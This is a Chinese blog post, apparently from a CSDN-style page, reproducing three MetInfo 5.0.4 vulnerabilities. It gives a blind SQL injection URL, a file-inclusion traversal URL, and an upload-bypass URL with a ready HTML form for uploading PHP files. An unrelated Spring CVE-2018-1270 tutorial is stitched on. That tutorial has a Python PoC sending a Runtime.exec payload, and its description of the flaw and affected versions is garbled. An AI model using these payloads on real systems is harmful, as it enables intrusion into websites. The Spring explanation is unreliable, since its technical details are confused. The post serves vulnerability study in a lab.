metinfov5.0.4漏洞复现

metinfov5.0.4漏洞复现

最近学习,metinfov5.0.4漏洞复现,个人感觉这次的漏洞还是比较有意思的,为什么呢?原因是这次的3个漏洞都跟一个漏洞有关,这个漏洞就是变量覆盖覆盖漏洞.
简单讲就是用户传进去的值变成了一个新的变量覆盖了原代码的变量,从而被我们利用.
产生的原因是因为编程人员在进行变量传值时,使用了双(“$$”)符号 .

下面开始漏洞复现

测试环境:
phpstudy #一个集成环境包含php+mysql
php源码(cms)
metinfov5.0.4 #源码大家可以去网上下载

测试目标:
三个经典漏洞:
SQLi(注入)
文件包含
文件上传

漏洞位置:
SQLi 注入漏洞位置:
http://localhost/metinfoV5.0.4/about/show.php?lang=cn&id=22

POC:
http://localhost/metinfoV5.0.4/about/show.php?lang=cn&id=22 and if(ord(substr(database(),1,1))=109,sleep(5),0) –+

此处采用盲注,POC的语句解释为,首先获取数据库名称,然后截取第一个字符,将截取到的字符转换为ASCII码与猜想的ASCII码做比较,如果满足条件,也是说我们猜想正确,沉睡5秒,以此来爆出库名,之后以此类推,爆表,字段,内容等等,当我们得到第一个字符后,我们可以进入数据库和我们的库名进行比较,发现第一个字符一致,证明注入成功.

文件包含漏洞位置:
http://localhost/metinfoV5.0.4/about/index.php

POC: http://localhost/metinfoV5.0.4/about/index.php?fmodule=7&module=../../phpinfo.php

为了帮助我们更好的理解,我们可以先在www目录下写一个phpinfo.php的文件,接着使用文件包含进行打开,发现成功打开,证明了此处存在文件包含漏洞.

文件上传漏洞位置:
http://localhost/metinfoV5.0.4/admin/include/uploadify.php

POC:
http://localhost/MetInfoV5.0.4/admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp

为了便于利用,我们把它写成一个HTML文件:

<meta charset="utf-8">
<form
    enctype="multipart/form-data"
    method="post"
    name="myfrom"
    action="http://localhost/MetInfoV5.0.4/admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp"
>
    <input name="Filedata" type="file" size=20>
    <input type="submit" name="Submit" value="提交信息">
</form>

之后我们只要打开写好的html文件选择.php格式的文件上传就可以了!上传成功后,我们进入该网站的upload/file/目录下,发现我们的上传文件,证明,文件上传漏洞实现.

到此,漏洞复现基本完成,剩下的就是漏洞产生的原因了,由于时间有限,就不一一分析原因了,大家有兴趣的可以去分析源代码,来找出产生的原因.

### Spring CVE-2018-1270 漏洞复现教程 #### 背景介绍 Spring Framework 是一个广泛使用的 Java 开发框架,提供了丰富的功能来简化企业级应用开发。然而,在某些版本中存在安全漏洞,可能导致远程代码执行 (RCE) 的风险。CVE-2018-1270 就是一个典型的例子,它存在于 `org.springframework.messaging` 包中的 `Http invoker request deserialization` 功能中。 该漏洞允许攻击者通过发送恶意序列化的 HTTP 请求数据包触发 RCE 攻击[^4]。 --- #### 影响范围 此漏洞影响以下版本: - **Spring Framework 5.05.0.4** - **Spring Framework 4.3 到 4.3.14** 不受影响的修复版本为: - **5.0.x 用户应升级至 5.0.5** - **4.3.x 用户应升级至 4.3.15** --- #### 漏洞原理 当应用程序启用了基于 XML 或 JSON 的反序列化机制时,如果未正确验证输入的数据,则可能被利用来进行任意代码执行。具体来说,`AbstractRemoteInvocationHandler` 类会尝试解析传入的消息并调用目标对象的方法。由于缺乏严格的类型检查,攻击者可以注入恶意 payload 来实现远程命令执行[^3]。 --- #### 复现环境搭建 为了重现此漏洞,通常需要准备如下工具和资源: 1. **Docker 容器**: 使用 vulhub 提供的标准镜像快速部署测试环境。 2. **POC 工具**: 编写或下载可用的 Proof of Concept (PoC) 脚本用于模拟攻击行为。 以下是具体的步骤说明: ##### 步骤一:安装 Docker 和 Compose 确保本地机器上已经安装好 Docker 及其扩展组件 docker-compose。 ##### 步骤二:拉取漏洞演示镜像 运行以下命令获取官方提供的漏洞实验场景: ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/spring/CVE-2018-1270/ docker-compose up -d ``` 等待服务启动完成后访问地址确认正常工作状态。 ##### 步骤三:编写 PoC 测试脚本 下面展示了一个简单的 Python 实现方式作为参考案例之一: ```python import requests url = "http://localhost:8080/" payload = { 'exploit': '''T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')''' } try: response = requests.post(url, data=payload) print(response.text) except Exception as e: print(f"Error occurred: {e}") ``` 上述代码片段试图向服务器提交一段能够触碰文件 `/tmp/success` 的指令以证明控制权已被夺取成功与否可通过查看是否存在指定路径下的标记文件得知结果如何。 --- #### 验证效果 一旦完成以上操作流程之后再次登录容器内部检验预期成果是否达成即观察是否有新生成的目标文档出现表明整个过程顺利完成无误: ```bash docker-compose exec spring bash ls /tmp/ # 应能看到 success 文件 ``` --- #### 总结建议 针对此类高危级别的缺陷应当及时采取措施加以防范比如尽快迁移到最新稳定发行版或者关闭不必要的网络接口减少暴露面从而降低遭受潜在威胁的可能性同时也要定期审查第三方依赖库的安全公告以便第一时间响应相应更新通知。 ---
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值